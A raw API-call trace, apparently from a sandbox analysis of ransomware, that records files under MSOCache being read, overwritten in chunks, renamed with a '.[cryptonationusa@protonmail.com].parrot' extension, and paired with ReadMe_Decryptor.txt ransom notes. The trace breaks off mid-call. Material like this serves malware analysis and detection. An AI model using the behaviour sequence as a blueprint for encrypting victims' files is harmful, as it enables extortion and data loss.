GetLastError () returned 0x0 [0054.316] SetLastError (dwErrCode=0x0) [0054.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0054.316] GetLastError () returned 0x0 [0054.316] SetLastError (dwErrCode=0x0) [0054.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.316] GetLastError () returned 0x0 [0054.316] SetLastError (dwErrCode=0x0) [0054.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x980) returned 0x5edba0 [0054.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1313) returned 0x63e990 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.317] GetLastError () returned 0x0 [0054.317] SetLastError (dwErrCode=0x0) [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5bbfc0 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0054.317] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0054.317] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5bbfc0 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x63fcb0 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63fcb0 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0054.318] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.318] WriteFile (in: hFile=0x2b0, lpBuffer=0x28d7a10*, nNumberOfBytesToWrite=0xa98, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x28d7a10*, lpNumberOfBytesWritten=0x235f1e8*=0xa98, lpOverlapped=0x0) returned 1 [0054.318] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0054.318] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.319] CloseHandle (hObject=0x2b0) returned 1 [0054.319] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0054.320] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f19f0 [0054.320] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.320] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.323] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f19f0 | out: hHeap=0x540000) returned 1 [0054.323] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.323] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0054.323] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0054.323] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0054.323] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0054.323] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0054.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0054.324] GetFileType (hFile=0x2b0) returned 0x1 [0054.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.334] lstrcmpW (lpString1="WordLR.cab", lpString2="ReadMe_Decryptor.txt") returned 1 [0054.334] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0054.335] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x29c6dbd [0054.335] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29c6ed5, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.335] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.335] ReadFile (in: hFile=0x2b0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0054.337] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.337] ReadFile (in: hFile=0x2b0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0054.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0054.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0054.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0054.347] GetLastError () returned 0x0 [0054.347] SetLastError (dwErrCode=0x0) [0054.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0054.348] GetLastError () returned 0x0 [0054.348] SetLastError (dwErrCode=0x0) [0054.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.348] GetLastError () returned 0x0 [0054.348] SetLastError (dwErrCode=0x0) [0054.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x63e990 [0054.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x290de38 [0054.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0054.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x290fe78 [0054.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x290de38 | out: hHeap=0x540000) returned 1 [0054.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x2913eb8 [0054.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x290fe78 | out: hHeap=0x540000) returned 1 [0054.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x38b0048 [0054.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2913eb8 | out: hHeap=0x540000) returned 1 [0054.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x290de38 [0054.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0048 | out: hHeap=0x540000) returned 1 [0054.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x292de78 [0054.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x290de38 | out: hHeap=0x540000) returned 1 [0054.440] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0054.443] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de78 | out: hHeap=0x540000) returned 1 [0054.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0054.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x26c0020 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0054.619] GetLastError () returned 0x0 [0054.619] SetLastError (dwErrCode=0x0) [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0054.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0054.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x562228 [0054.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0054.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.623] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.623] WriteFile (in: hFile=0x2b0, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0054.623] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.623] WriteFile (in: hFile=0x2b0, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0054.626] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29c6ed5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.626] CloseHandle (hObject=0x2b0) returned 1 [0056.055] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0056.055] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1ec8 [0056.055] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0056.055] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.056] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1ec8 | out: hHeap=0x540000) returned 1 [0056.056] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0056.056] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x34b0020 | out: hHeap=0x540000) returned 1 [0056.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0056.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0056.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0056.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0056.061] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.062] GetFileType (hFile=0x2b0) returned 0x1 [0056.062] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.072] lstrcmpW (lpString1="WordMUI.msi", lpString2="ReadMe_Decryptor.txt") returned 1 [0056.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.072] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x267e00 [0056.072] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x267f18, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.072] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.073] ReadFile (in: hFile=0x2b0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0056.074] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.075] ReadFile (in: hFile=0x2b0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0056.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0056.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0056.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.098] GetLastError () returned 0x0 [0056.098] SetLastError (dwErrCode=0x0) [0056.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.099] GetLastError () returned 0x0 [0056.099] SetLastError (dwErrCode=0x0) [0056.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.099] GetLastError () returned 0x0 [0056.099] SetLastError (dwErrCode=0x0) [0056.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x38b2060 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x38d2048 [0056.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b2060 | out: hHeap=0x540000) returned 1 [0056.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x38d4088 [0056.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d2048 | out: hHeap=0x540000) returned 1 [0056.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0056.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d4088 | out: hHeap=0x540000) returned 1 [0056.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x290de38 [0056.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0056.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x291de78 [0056.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x290de38 | out: hHeap=0x540000) returned 1 [0056.103] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x293deb8 [0056.105] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x291de78 | out: hHeap=0x540000) returned 1 [0056.107] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0056.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x293deb8 | out: hHeap=0x540000) returned 1 [0056.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0056.226] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.226] WriteFile (in: hFile=0x2b0, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0056.226] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.226] WriteFile (in: hFile=0x2b0, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0056.230] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x267f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.230] CloseHandle (hObject=0x2b0) returned 1 [0056.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3d88 [0056.484] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 